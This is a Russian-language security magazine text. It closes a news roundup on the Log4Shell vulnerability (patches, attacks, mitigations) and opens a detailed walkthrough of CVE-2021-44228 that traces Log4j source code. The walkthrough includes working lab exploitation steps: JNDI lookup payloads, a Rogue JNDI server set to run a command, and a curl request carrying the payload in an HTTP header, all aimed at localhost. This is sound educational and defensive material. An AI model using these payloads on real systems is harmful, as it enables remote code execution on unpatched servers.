ста­нет пол­ный зах­ват уяз­вимого при­ложе­ния или сер­вера, а ата­ка может раз‐­
вить­ся даль­ше.

ПАТЧИ ДЛЯ ПАТЧЕЙ


Уяз­вимыми были приз­наны все вер­сии Log4j меж­ду  2.10.0  и  2.14.x, и  раз‐­
работ­чики Apache Software Foundation спеш­но пред­ста­вили пер­вый патч
для  CVE-2021-44228  в  рам­ках релиза  2.15.0. Одна­ко, как  выяс­нилось нес‐­
коль­ко дней спус­тя, это­го ока­залось недос­таточ­но.
Де­ло в том, что пер­вое исправ­ление зак­рывало брешь, отклю­чая по умол‐­
чанию основную фун­кци­ональ­ность биб­лиоте­ки — lookup’ы JNDI-сооб­щений.
Увы, ока­залось, что этот патч сам прив­носит в  код новую уяз­вимость: в  кон‐­
фигура­циях, отличных от  дефол­тных, он может быть исполь­зован для  «соз‐­
дания вре­донос­ного input’а с  исполь­зовани­ем шаб­лона JNDI Lookup, что
может при­вес­ти к ата­ке типа „отказ в обслу­жива­нии“ (DoS)».
Вто­рой уяз­вимос­ти был прис­воен иден­тифика­тор CVE-2021-45046
(3,7 бал­ла из десяти воз­можных по шка­ле CVSS v3), и раз­работ­чикам приш‐­
лось спеш­но выпус­тить еще  один патч и  вер­сию  2.16, в  которой JNDI поп‐­
росту отклю­чили окон­чатель­но.
Фак­тичес­ки вто­рой баг поз­волял пол­ностью отклю­чить уяз­вимые служ­бы
до  тех пор, пока жер­твы не  перезаг­рузят свои сер­веры или  не пред­при­мут
иные дей­ствия. Хуже того, экспер­ты Cloudflare пос­пешили пре­дуп­редить, что
CVE-2021-45046  уже обна­руже­на и  исполь­зует­ся зло­умыш­ленни­ками, спе‐­
циалис­ты же ком­пании Praetorian заяв­ляли, что проб­лемы вер­сии 2.15.0 мож‐­
но исполь­зовать для  рас­кры­тия информа­ции, а  это может вес­ти к  хищению
дан­ных с  уяз­вимых сер­веров. В  ролике ниже иссле­дова­тели демонс­три­руют
подоб­ную ата­ку на прак­тике.

Та­ким обра­зом, по сос­тоянию на 17 декаб­ря 2021 года всем рекомен­дует­ся


сроч­но обно­вить Log4j до  вер­сии  2.16. К  при­меру, экспер­ты Агентства
по  кибер­безопас­ности и  защите инфраструк­туры, орга­низо­ван­ного
при  Минис­терс­тве внут­ренней безопас­ности США (DHS CISA), и  вов­се обя‐­
зали аме­рикан­ские федераль­ные агентства и  госуч­режде­ния уста­новить
исправ­ления не поз­днее 24 декаб­ря 2021 года.

МАЙНЕРЫ, DDOS И ВЫМОГАТЕЛИ


Ког­да информа­ция о Log4Shell была рас­кры­та, прак­тичес­ки сра­зу иссле­дова‐­
тели из ком­паний Bad Packets и Greynoise пре­дуп­редили, что нес­коль­ко зло‐­
умыш­ленни­ков уже начали ска­ниро­вать сеть в  поис­ках про­дук­тов, которые
могут быть уяз­вимы. В  пос­леду­ющие дни количес­тво атак стре­митель­но
нарас­тало, а ана­лити­ки из ком­паний Cloudflare и Cisco Talos вооб­ще приш­ли
к выводу, что пер­вые ска­ны и попыт­ки экс­плу­ата­ции начались еще 1–2 декаб‐­
ря 2021 года, то есть до широкой огласки.

Немного цифр
По информа­ции экспер­тов ком­пании Check Point, для  Log4Shell уже сущес‐­
тву­ет более 60  экс­пло­итов и  в некото­рые момен­ты мож­но наб­людать
до 100 попыток атак на уяз­вимость в минуту.

По сос­тоянию на  14  декаб­ря раз­личные хакер­ские груп­пиров­ки уже успе­ли


совер­шить поряд­ка 1  272  000  атак на  Log4Shell. В  свою оче­редь, китай‐­
ская ком­пания Qihoo 360  пре­дуп­редила, что уже отсле­жива­ет как  минимум
де­сять хак‑групп, зло­упот­ребля­ющих уяз­вимостью.

Как объ­ясня­ли ИБ‑спе­циалис­ты, по  сути, для  исполь­зования бага зло­умыш‐­


ленник может поп­росту изме­нить user agent сво­его бра­узе­ра и  посетить
опре­делен­ный сайт или выпол­нить поиск стро­ки, исполь­зуя фор­мат ${jndi:
ldap://[URL_атакующего]}. Это при­ведет к добав­лению стро­ки в логи дос‐­
тупа веб‑сер­вера, и, ког­да при­ложе­ние Log4j будет ана­лизи­ровать эти логи
и  обна­ружит стро­ку, ошиб­ка зас­тавит сер­вер выпол­нить callback или  зап­рос
на URL-адрес, ука­зан­ный в стро­ке JNDI. Пос­ле это­го зло­умыш­ленни­ки смо­гут
исполь­зовать этот URL для  переда­чи команд уяз­вимому устрой­ству (в
кодиров­ке Base64 или в виде клас­сов Java).
В ито­ге уже через нес­коль­ко дней Log4Shell экс­плу­ати­рова­ли для  выпол‐­
нения шелл‑скрип­тов, которые заг­ружа­ют и  уста­нав­лива­ют май­неры. В  час‐­
тнос­ти, хакеры, сто­ящие за  мал­варью Kinsing и  одно­имен­ным бот­нетом,
активно зло­упот­ребля­ют багом и исполь­зуют Base64-пей­лоады, которые зас‐­
тавля­ют уяз­вимый сер­вер заг­ружать и  выпол­нять шелл‑скрип­ты. Скрипт уда‐­
ляет кон­куриру­ющую мал­варь с  уяз­вимого устрой­ства, а  затем заг­ружа­ет
и уста­нав­лива­ет вре­доно­са Kinsing, который начина­ет добывать крип­товалю‐­
ту.

Так­же проб­лема исполь­зует­ся для  уста­нов­ки мал­вари Mirai и  Muhstik на  уяз‐­
вимые устрой­ства. Эти IoT-угро­зы дела­ют уяз­вимые девай­сы частью бот‐­
нетов, так же исполь­зуя их для добычи крип­товалю­ты и про­веде­ния мас­штаб‐­
ных DDoS-атак.
По информа­ции ана­лити­ков Microsoft, уяз­вимость в Log4j и вов­се исполь‐­
зует­ся для  раз­верты­вания маяков Cobalt Strike. И  хотя на  момент обна­руже‐­
ния это­го фак­та не  было доказа­тель­ств, что экс­пло­ит для  Log4j взя­ли
на  воору­жение вымога­тели, экспер­ты писали, что раз­верты­вание маяков
Cobalt Strike ясно говорит: такие ата­ки неиз­бежны.
К сожале­нию, уже ста­ло ясно, что спе­циалис­ты Microsoft были пра­вы: сот‐­
рудни­ки ком­пании Bitdefender обна­ружи­ли пер­вый шиф­роваль­щик Khonsari,
который экс­плу­ати­рует све­жий баг для  вымога­тель­ских атак. Впро­чем, сле‐­
дует отме­тить, что Khonsari ско­рее похож на  вай­пер, то есть это  умыш­ленно
дес­трук­тивная мал­варь, которая нароч­но шиф­рует дан­ные без  воз­можнос­ти
вос­ста­нов­ления. Дело в  том, что жер­твы не  могут свя­зать­ся с  опе­рато­рами
вре­доно­са для  вып­латы выкупа, а  зна­чит, не  в сос­тоянии спас­ти свою
информа­цию.
Кро­ме того, по  пос­ледним дан­ным все той же Microsoft, уяз­вимость уже
активно при­меня­ют в  сво­их ата­ках «пра­витель­ствен­ные» хакеры Китая
(Hafnium), Ира­на (Phosphorus), Север­ной Кореи и  Тур­ции. Сооб­щает­ся, что
«активность варь­иру­ется от экспе­римен­тов во вре­мя раз­работ­ки до интегра‐­
ции уяз­вимос­ти в  про­цесс раз­верты­вания полез­ных наг­рузок и  исполь‐­
зования про­тив целей для  дос­тижения задач хакеров». Упо­мяну­тые груп‐­
пиров­ки обыч­но занима­ются вымога­тель­ски­ми опе­раци­ями, а  так­же кибер‐­
шпи­она­жем и сбо­ром дан­ных.
Так­же Microsoft заяви­ла, что наб­люда­ет за  нес­коль­кими зло­умыш­ленни‐­
ками, которые выс­тупа­ют в  качес­тве бро­керов дос­тупа для  опе­рато­ров
вымога­телей. То есть эти люди исполь­зуют экс­пло­ит для Log4Shell, что­бы зак‐­
реплять­ся в  раз­личных кор­поратив­ных сетях, а  затем про­давать получен­ный
дос­туп дру­гим хак‑груп­пам.

ЗАЩИТА
К боль­шому сожале­нию, из‑за пов­семес­тной рас­простра­нен­ности Log4j
ИБ‑экспер­ты уве­рены, что проб­лема Log4Shell име­ет все шан­сы стать
не  прос­то худ­шей уяз­вимостью  2021  года, но  и самой боль­шой голов­ной
болью пос­ледней пятилет­ки. Поэто­му сей­час все при­зыва­ют всех как  мож­но
ско­рее про­верить и защитить свои сис­темы от атак, уста­новить пат­чи и при‐­
нять иные меры пре­дос­торож­ности. Перечис­лим, что мож­но и нуж­но для это‐­
го сде­лать.
Луч­ший вари­ант, разуме­ется, — обно­вить Log4j до пос­ледней акту­аль­ной
вер­сии: на  дан­ный момент это  вер­сия  2.17. Для  удобс­тва адми­нис­тра­торов
спе­циалис­ты из  ком­пании Huntress Labs под­готови­ли бес­плат­ный ска­нер,
который ком­пании могут исполь­зовать для оцен­ки сво­их собс­твен­ных сис­тем
на уяз­вимость.
Эк­спер­ты ком­пании Cybereason и  вов­се пред­ложили «вак­цину»
от  Log4Shell, получив­шую наз­вание Logout4Shell. «Вак­цина» пред­став­ляет
собой скрипт, уда­лен­но экс­плу­ати­рующий баг для отклю­чения нуж­ных нас­тро‐­
ек в уяз­вимом экзем­пля­ре Log4Shell. По сути, пей­лоад в дан­ном слу­чае без‐­
вре­ден и  отклю­чает параметр trustURLCodebase на  уда­лен­ном сер­вере
для сни­жения рис­ков.
Спе­циалис­ты Cybereason объ­ясня­ют, что угро­зу мож­но смяг­чить, уста‐­
новив для  парамет­ра log4j2.formatMsgNoLookups зна­чение true или  уда­лив
класс JndiLookup. Кро­ме того, если на  сер­вере Java runtimes >= 8u121, то
по  умол­чанию для  парамет­ров com.sun.jndi.rmi.object.trustURLCodebase
и  com.sun.jndi.cosnaming.object.trustURLCodebase уста­нов­лено зна­чение
false, что тоже поз­воля­ет сок­ратить рис­ки.

СПИСКИ УЯЗВИМЫХ
С обна­руже­ния Log4Shell прош­ло слиш­ком мало вре­мени, и, если учесть
огромный охват проб­лемы, исчерпы­вающий спи­сок того, что уяз­вимо, а  что
нет, по‑преж­нему недос­тупен даже для  таких пра­витель­ствен­ных агентств,
как CISA.
Спис­ки уяз­вимых про­дук­тов, а  так­же бюл­летеней безопас­ности и  сооб‐­
щений раз­личных ком­паний пока сос­тавля­ются исклю­читель­но силами
экспер­тов и  сооб­щес­тва. Один из  таких обновля­ющих­ся и  деталь­ных переч‐­
ней куриру­ют спе­циалис­ты Наци­ональ­ного цен­тра кибер­безопас­ности
Нидер­ландов, и озна­комить­ся с ним мож­но на GitHub.
Ана­лити­ки CISA так­же собира­ют из  откры­тых источни­ков реак­ции
и рекомен­дации про­изво­дите­лей и тоже пуб­лику­ют спи­сок извес­тных пат­чей
и уяз­вимых решений на GitHub.

Больше полезных ссылок


• Гайд CISA по исправ­лению уяз­вимос­ти
• Хе­ши уяз­вимых вер­сий Log4j
• Об­разцы мал­вари и пей­лоадов, рас­простра­няющих­ся через Log4Shell
• Ин­дикато­ры ком­про­мета­ции
COVERSTORY

aLLy
ONsec
@iamsecurity

LOG4HELL! РАЗБИРАЕМ LOG4SHELL
ВО ВСЕХ ПОДРОБНОСТЯХ

Еще недав­но про средс­тво логиро­вания Log4j, помимо спе‐­


циалис­тов, мало кто слы­шал. Най­ден­ная в  этой биб­лиоте­ке
уяз­вимость сде­лала ее цен­тром вни­мания на  пос­ледние
месяцы. Мы в  «Хакере» уже об­сужда­ли ее импакт и  рас­ска‐­
зыва­ли о  том, как  раз­ные ком­пании сра­жают­ся с  напастью.
В этой статье мы с тобой под­робно раз­берем­ся, отку­да взя‐­
лась эта ошиб­ка и  как она работа­ет, а  так­же какие успе­ли
появить­ся экс­пло­иты.

За­голов­ки новос­тей пес­трят ужас­ными сооб­щени­ями о  том, что проб­лема


охва­тыва­ет полови­ну компь­ютер­ного мира. А взло­мать через нее яко­бы мож‐­
но всё  — от  сер­вера Minecraft тво­его соседа до  круп­ных кор­пораций вро­де
Apple.
На GitHub есть нес­коль­ко репози­тори­ев, нап­ример Log4jAttackSurface
или  log4shell со спис­ками уяз­вимого ПО (с блэк‑дже­ком и пру­фами, разуме‐­
ется!). Даже в «Википе­дии» уже есть статья о Log4Shell!
Да­вай раз­бирать­ся, так ли стра­шен черт, как  его малю­ют, с  чего все
началось и почему баг получил такую огласку.

КАК НАШЛИ УЯЗВИМОСТЬ


Нач­нем с  неболь­шой пре­амбу­лы. Баг обна­ружил эксперт Чен Чжа­оцзюнь
(Zhaojun Chen) из  коман­ды Alibaba Cloud Security. Детали уяз­вимос­ти были
отправ­лены в  Apache Foundation 24  нояб­ря  2021  года. В  пуб­личный дос­туп
они попали чуть поз­же — 9 декаб­ря. В твит­тере завиру­сил­ся пост, в котором
была пара кар­тинок, изоб­ража­ющих резуль­тат успешной экс­плу­ата­ции  —
запущен­ный каль­кулятор. На  пер­вом скри­не был затерт пей­лоад, но  вто­рая
кар­тинка и  кусок кода из  пер­вой намека­ли, где и  что нуж­но искать. Помимо
это­го, в пос­те была ссыл­ка на  pull-рек­вест с фик­сом, пря­мо ска­жем не слиш‐­
ком удач­ным! Сей­час пост в твит­тере уже уда­лен и  пос­мотреть мож­но толь­ко
через Internet Archive.

Пост в твит­тере об уяз­вимос­ти в Log4j

В этот же день на GitHub по­явил­ся PoC с деталя­ми экс­плу­ата­ции. Ког­да уяз‐­


вимость обза­велась собс­твен­ным иден­тифика­тором CVE-2021-44228, ре‐­
пози­торий пере­име­нова­ли, а  затем и  вов­се уда­лили. Как  видишь, начало
исто­рии сей­час дос­тупно толь­ко бла­года­ря архи­вам.
К сло­ву, баг получил мак­сималь­ный балл (10) по стан­дарту CVSS из‑за его
прос­той экс­плу­ата­ции, не  тре­бующей никаких прав, и  серь­езности пос­ледс‐­
твий для ата­куемой сис­темы.
Итак, экс­пло­ит получил рас­простра­нение и  начал ухо­дить в  мас­сы, люди
ста­ли тес­тировать пей­лоады пов­семес­тно и обна­ружи­вать уяз­вимые про­дук‐­
ты. Давай в деталях пос­мотрим, в чем при­чина уяз­вимос­ти, какие были обхо‐­
ды и пат­чи и в каких про­дук­тах.

Найденные уязвимости
CVE-2021-44228  — зло­умыш­ленник, который кон­тро­лиру­ет сооб­щения
жур­нала или парамет­ры сооб­щений жур­нала, может выпол­нить про­изволь­ный
код, заг­ружен­ный с сер­веров LDAP через JNDI. Проб­лема зат­рагива­ет вер­сии
Apache Log4j2  2.0-beta9  до  2.15.0 (за исклю­чени­ем исправ­лений безопас‐­
ности  2.12.2, 2.12.3  и  2.3.1), они уяз­вимы к  уда­лен­ному выпол­нению про‐­
изволь­ного кода через JNDI.
CVE-2021-45046  — зло­умыш­ленник, кон­тро­лиру­ющий через Thread
Context Map (MDC) динами­чес­кие дан­ные в  сооб­щени­ях жур­налов событий,
может соз­дать с  исполь­зовани­ем JNDILookup пей­лоад, который при­ведет
к утеч­ке информа­ции и уда­лен­ному выпол­нению кода в некото­рых кон­фигура‐­
циях Log4j и локаль­ному выпол­нению кода во всех кон­фигура­циях. Проб­лема
при­сутс­тву­ет из‑за не  пол­ностью исправ­ленной уяз­вимос­ти CVE-2021-
44228 в Log4j 2.15.0.
CVE-2021-45105  — из‑за проб­лемы некон­тро­лиру­емой рекур­сии зло‐­
умыш­ленник спе­циаль­но сфор­мирован­ным сооб­щени­ем жур­нала событий
может выз­вать отказ в  обслу­жива­нии. Проб­лема зат­рагива­ет вер­сии
Log4j2 начиная с 2.0-alpha1 и до 2.16.0 (за исклю­чени­ем 2.12.3 и 2.3.1).
CVE-2021-44832 — зло­умыш­ленник, име­ющий дос­туп к изме­нению нас‐­
тро­ек логиро­вания, может соз­дать такую кон­фигура­цию, через которую воз‐­
можно уда­лен­ное выпол­нение кода. Для  это­го исполь­зует­ся JDBC Appender
с источни­ком дан­ных, ссы­лающим­ся на JNDI URI. Проб­лема зат­рагива­ет все
вер­сии Log4j2 начиная с 2.0-beta7 и до 2.17.0.

СТЕНД
Те­атр, как  извес­тно, начина­ется с  вешал­ки, а  тес­тирова­ние уяз­вимос­ти  —
со  стен­да. В  качес­тве основной сис­темы я буду исполь­зовать Windows
и IntelliJ IDEA для ком­пиляции и отладки.
Cоз­даем пус­той про­ект на  Java с  исполь­зовани­ем gradle. Добав­ляем
в зависи­мос­ти уяз­вимую вер­сию Log4j, нап­ример 2.14.1.

build.gradle
dependencies {
implementation 'org.apache.logging.log4j:log4j-api:2.14.1'
implementation 'org.apache.logging.log4j:log4j-core:2.14.1'
}

По­том соз­даем класс, где аргу­мент, который мы переда­дим прог­рамме,


будет логиро­вать­ся.

src/main/java/logger/Test.java
package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Test {


private static final Logger logger = LogManager.getLogger(Test.
class);
public static void main(String[] args) {
String msg = (args.length > 0 ? String.join(" ", args) : "");
logger.error(msg);
}
}

Те­перь ука­жем глав­ный класс, который дол­жен вызывать­ся при запус­ке.

build.gradle
plugins {
id 'java'
id 'application'
}
...
mainClassName = 'logger.Test'

Все готово, мож­но запус­кать. Парамет­ры в лог­гер переда­ем в качес­тве аргу‐


мен­тов с помощью фла­га --args:

gradlew run --args='hello world'

За­пуск прог­раммы для тес­тирова­ния уяз­вимос­ти log4shell

Те­перь нас­тало вре­мя про­тес­тировать работу уяз­вимос­ти, для это­го возь­мем


прос­той пей­лоад ${jndi:ldap://127.0.0.1/a} и переда­дим его в качес­тве
парамет­ра. Толь­ко не забудь сна­чала пос­тавить на прос­лушку 389-й порт.

gradlew run --args='${jndi:ldap://127.0.0.1/a}'

Тес­тирова­ние уяз­вимос­ти log4shell

Кон­нект при­ходит, а это зна­чит, что уяз­вимость успешно про­экс­плу­ати­рова­на.


Это­го пока дос­таточ­но для даль­нейше­го пре­пари­рова­ния.

ДЕТАЛИ УЯЗВИМОСТИ
Поп­робу­ем разоб­рать­ся, почему эта загадоч­ная конс­трук­ция вооб­ще выпол‐­
няет­ся.
По сути, конс­трук­ции вида ${} исполь­зуют­ся в  динами­чес­ких стро­ках,
которые пре­обра­зуют­ся раз­ными реали­заци­ями клас­са StringSubstitutor.
Да не осу­дят меня Java-сень­оры, я буду счи­тать, что это прос­то перемен­ные.
Те­перь ска­чаем ис­ходни­ки нашей вер­сии биб­лиоте­ки Log4j. Инте­ресу‐­
ющая нас обра­бот­ка логиру­емо­го события начина­ется в методе format клас‐­
са MessagePatternConverter.

org/apache/logging/log4j/core/pattern/MessagePatternConverter.jav
a
public final class MessagePatternConverter extends
LogEventPatternConverter {
...
public void format(final LogEvent event, final StringBuilder
toAppendTo) {
final Message msg = event.getMessage();
...
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(
i + 1) == '{') {
final String value = workingBuilder.substring(offset,
workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(
event, value));
}
}
}

Этот цикл про­веря­ет наличие конс­трук­ции ${ в сооб­щении. Если она при­сутс‐­


тву­ет, управле­ние переда­ется клас­су StrSubstitutor для даль­нейшей обра‐­
бот­ки.

Про­вер­ка наличия конс­трук­ции ${ в тек­сте логиру­емо­го сооб­щения биб­‐


лиоте­ки Log4j

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public class StrSubstitutor implements ConfigurationAware {
...
public static final char DEFAULT_ESCAPE = '$';
...
public static final StrMatcher DEFAULT_PREFIX = StrMatcher.
stringMatcher(DEFAULT_ESCAPE + "{");
...
public static final StrMatcher DEFAULT_SUFFIX = StrMatcher.
stringMatcher("}");

Здесь мож­но видеть ини­циали­зацию дефол­тно­го пре­фик­са (${) и  суф­фикса


(}). Далее по коду видим метод substitute.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public StrMatcher getVariablePrefixMatcher() {
return prefixMatcher;
}
...
public StrMatcher getVariableSuffixMatcher() {
return suffixMatcher;
}

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
private int substitute(final LogEvent event, final StringBuilder buf,
final int offset, final int length,
List<String> priorVariables) {
final StrMatcher prefixMatcher = getVariablePrefixMatcher();
final StrMatcher suffixMatcher = getVariableSuffixMatcher();

Он сно­ва выпол­няет поиск таких конс­трук­ций (${ололо}) по  содер­жимому


логиру­емо­го события, толь­ко в этот раз про­веря­ет наличие суф­фикса }, что‐­
бы опре­делить, дей­стви­тель­но ли нуж­на даль­нейшая обра­бот­ка.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
while (pos < bufEnd) {
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset,
bufEnd);
if (startMatchLen == 0) {
pos++;
} else // found variable start marker

Ме­тод prefixMatcher.isMatch, как вид­но из наз­вания, находит начало конс‐­


трук­ции, сим­волы ${. Про­вер­ка выпол­няет­ся методом isMatch.

org/apache/logging/log4j/core/lookup/StrMatcher.java
public abstract class StrMatcher {
...
static final class StringMatcher extends StrMatcher {
...
public int isMatch(final char[] buffer, int pos, final int
bufferStart, final int bufferEnd) {
final int len = chars.length;
if (pos + len > bufferEnd) {
return 0;
}
for (int i = 0; i < chars.length; i++, pos++) {
if (chars[i] != buffer[pos]) {
return 0;
}
}
return len;
}

По­иск начала стро­ки

Ана­логич­ным обра­зом suffixMatcher.isMatch находит конец конс­трук­ции,


сим­вол }.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
} else {
// find suffix
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
...
while (pos < bufEnd) {
...
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);

Ре­зуль­татом работы все­го это­го цик­ла будут позиции пер­вого и  пос­ледне­го


бай­та содер­жимого ${}. Затем эта стро­ка записы­вает­ся в  перемен­ную
varNameExpr.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
String varNameExpr = new String(chars, startPos + startMatchLen, pos
- startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}

Об­рати вни­мание, что здесь исполь­зует­ся рекур­сивный вызов метода


substitute. Это нуж­но для того, что­бы обра­баты­вать вло­жен­ные конс­трук­ции
${}. Это зна­ние поможет нам в будущем. В нашем слу­чае этот вызов ничего
нового не при­носит и выпол­нение кода про­дол­жится.
Сле­дующая часть ищет в  стро­ке jndi:ldap://127.0.0.1/a дво­ето­чие
или  минус. Под­робнее об  этой логике я рас­ска­жу, ког­да будем изу­чать тех‐­
ники обхо­да WAF, бло­киру­ющих экс­плу­ата­цию уяз­вимос­ти, а пока она для нас
не важ­на.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
if (valueEscapeDelimiterMatcher != null) {
int matchLen = valueEscapeDelimiterMatcher.isMatch(varNameExprChars
, i);
...
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(
varNameExprChars, i)) != 0) {
...
}
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(
varNameExprChars, i)) != 0) {
...
}

Те­перь начина­ется самое инте­рес­ное — вызов метода resolveVariable.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
// resolve the variable
String varValue = resolveVariable(event, varName, buf, startPos,
endPos);
if (varValue == null) {
varValue = varDefaultValue;
}

Он пре­обра­зует передан­ные перемен­ные в соот­ветс­твии с их содер­жимым.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
protected String resolveVariable(final LogEvent event, final String
variableName,
final StringBuilder buf,
final int startPos, final int endPos
) {

Сна­чала соз­дает­ся интерфейс StrLookup.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public StrLookup getVariableResolver() {
return this.variableResolver;
}

Продолжение статьи

COVERSTORY ←
НАЧАЛО СТАТЬИ

LOG4HELL!
РАЗБИРАЕМ LOG4SHELL
ВО ВСЕХ ПОДРОБНОСТЯХ

На эта­пе соз­дания экзем­пля­ра клас­са StrSubstitutor ини­циали­зиру­ется


variableResolver — в соот­ветс­твии с ука­зан­ной или дефол­тной кон­фигура‐­
цией.
Сам по себе variableResolver — это интерпо­лятор, в нем ука­зано, какой
класс‑резол­вер дол­жен обра­баты­вать содер­жимое обна­ружен­ной перемен‐­
ной. На моей машине в дефол­тной кон­фигура­ции исполь­зуют­ся такие резол‐­
веры:

variableResolver = {Interpolator@1558} "{date, java, marker, ctx,


lower, upper, jndi, main, jvmrunargs, sys, env, log4j}"
strLookupMap = {HashMap@5788} size = 12
"date" -> {DateLookup@5805}
"java" -> {JavaLookup@5807}
"marker" -> {MarkerLookup@5809}
"ctx" -> {ContextMapLookup@5811}
"lower" -> {LowerLookup@5813}
"upper" -> {UpperLookup@5815}
"jndi" -> {JndiLookup@5817}
"main" -> {MapLookup@5819}
"jvmrunargs" -> {JmxRuntimeInputArgumentsLookup@5821}
"sys" -> {SystemPropertiesLookup@5823}
"env" -> {EnvironmentLookup@5825}
"log4j" -> {Log4jLookup@5827}

Де­фол­тные резол­веры перемен­ных в Log4j

Да­лее вызыва­ется метод lookup.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
return resolver.lookup(event, variableName);
}

org/apache/logging/log4j/core/lookup/Interpolator.java
public class Interpolator extends AbstractConfigurationAwareLookup {
...
public static final char PREFIX_SEPARATOR = ':';
...
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}

Он пар­сит содер­жимое перемен­ной, находит пер­вое вхож­дение дво­ето­чия


и  записы­вает подс­тро­ку от  пер­вого бай­та до  раз­делите­ля в  prefix,
а оставшу­юся часть без дво­ето­чия — в name.

org/apache/logging/log4j/core/lookup/Interpolator.java
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(
Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
...
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event
, name);
}

За­тем на  осно­ве prefix выбира­ет из  спис­ка резол­веров соот­ветс­тву­ющий


класс. Как ты уже догадал­ся, в пей­лоаде ${jndi:ldap://127.0.0.1/a}, jndi
будет зна­чени­ем prefix и  ука­зани­ем на  то, какой резол­вер нуж­но исполь‐­
зовать.

По­луче­ние резол­вера из передан­ной стро­ки

В нашей ситу­ации имен­но клас­су JndiLookup будет переда­но даль­нейшее


управле­ние. Вызыва­ется метод lookup.

org/apache/logging/log4j/core/lookup/JndiLookup.java
@Plugin(name = "jndi", category = StrLookup.CATEGORY)
public class JndiLookup extends AbstractLookup {
...
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
final String jndiName = convertJndiName(key);
try (final JndiManager jndiManager = JndiManager.
getDefaultManager()) {
return Objects.toString(jndiManager.lookup(jndiName), null);
} catch (final NamingException e) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].",
jndiName, e);
return null;
}
}

Пе­реда­ча управле­ния клас­су‑резол­веру JndiLookup на осно­ве содер­‐


жимого пей­лоада

Это и  есть вся магия. Здесь я не  буду вда­вать­ся в  детали о  Java Naming
and Directory Interface (JNDI), это выходит за рам­ки статьи. Важ­но толь­ко, что
с его помощью мож­но выпол­нить RCE.

RCE ЧЕРЕЗ LOG4J


Что­бы выпол­нить про­изволь­ный код, необ­ходимо под­нять сер­вер, который
передаст полез­ную наг­рузку на ата­куемую машину.
При получе­нии пей­лоада Java выпол­нит десери­али­зацию, и  про­изой­дет
вызов ука­зан­ных клас­сов, что в  ито­ге при­ведет к  запус­ку про­изволь­ной
коман­ды. Для  авто­мати­зации экс­плу­ата­ции такого вида атак написа­но мно‐­
жес­тво ути­лит  — ysoserial, marshalsec, Rogue JNDI. Возь­мем Rogue JNDI
для раз­нооб­разия.

git clone https://github.com/veracode-research/rogue-jndi.git

Ком­пилиру­ем ути­литу с помощью maven.

mvn package

И запус­каем ее, в  качес­тве аргу­мен­та command ука­зыва­ем коман­ду, которую


хотим выпол­нить.

java -jar target/RogueJndi-1.1.jar --command "calc.exe"

За­пуск ути­литы Rogue JNDI для экс­плу­ата­ции уяз­вимос­ти CVE-2021-


44228 в Log4j

В сос­таве идет нес­коль­ко пей­лоадов, нас инте­ресу­ет RemoteReference.


Это  клас­сичес­кая ата­ка через JNDI, которая ведет к  RCE через уда­лен­ную
заг­рузку клас­сов. Ука­зыва­ем адрес в теле нашего пей­лоада.

${jndi:ldap://127.0.0.1:1389/o=reference}

Ус­пешная экс­плу­ата­ция уяз­вимос­ти CVE-2021-44228 в Log4j

Ес­ли ты не уви­дел каль­кулятор, то поз­драв­ляю, у тебя новая Java. Дело в том,


что в вер­сии выше 8u191 по дефол­ту зап­рещена уда­лен­ная заг­рузка клас­сов.
Одна­ко это  не меша­ет экс­плу­ати­ровать уяз­вимость, исполь­зуя локаль­ные
цепоч­ки гад­жетов. Java  — язык биб­лиотек и  фрей­мвор­ков, и  ред­ко встре‐­
чают­ся ситу­ации, где исполь­зует­ся чис­тый код на Java.

ЭКСПЛУАТАЦИЯ LOG4J В SPRING BOOT RCE НА JAVA ВЕРСИИ


ВЫШЕ 8U19
Рас­смот­рим популяр­ный фрей­мворк Spring. Уже готовое уяз­вимое при­ложе‐­
ние мож­но взять из репози­тория log4shell-vulnerable-app.
За­пус­каем его при помощи gradle.

git clone https://github.com/christophetd/log4shell-vulnerable-app.


git

cd log4shell-vulnerable-app

gradlew bootRun

В качес­тве пей­лоада выбира­ем Tomcat. Для  экс­плу­ата­ции исполь­зует­ся


небезо­пас­ный reflection в  клас­се org.apache.naming.factory.
BeanFactory. Этот класс из  Tomcat содер­жит логику для  соз­дания Beans
с помощью реф­лексии. Если ты хочешь почитать под­робнее об этой тех­нике,
то доб­ро пожало­вать в  статью Миха­ила Сте­пан­кина (Michael Stepankin)
Exploiting JNDI Injections in Java.
В резуль­тате получа­ется такой пей­лоад:

${jndi:ldap://127.0.0.1:1389/o=tomcat}

От­прав­ляем его в качес­тве заголов­ка X-Api-Version.

curl -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/o=tomcat}'


http://127.0.0.1:8080/

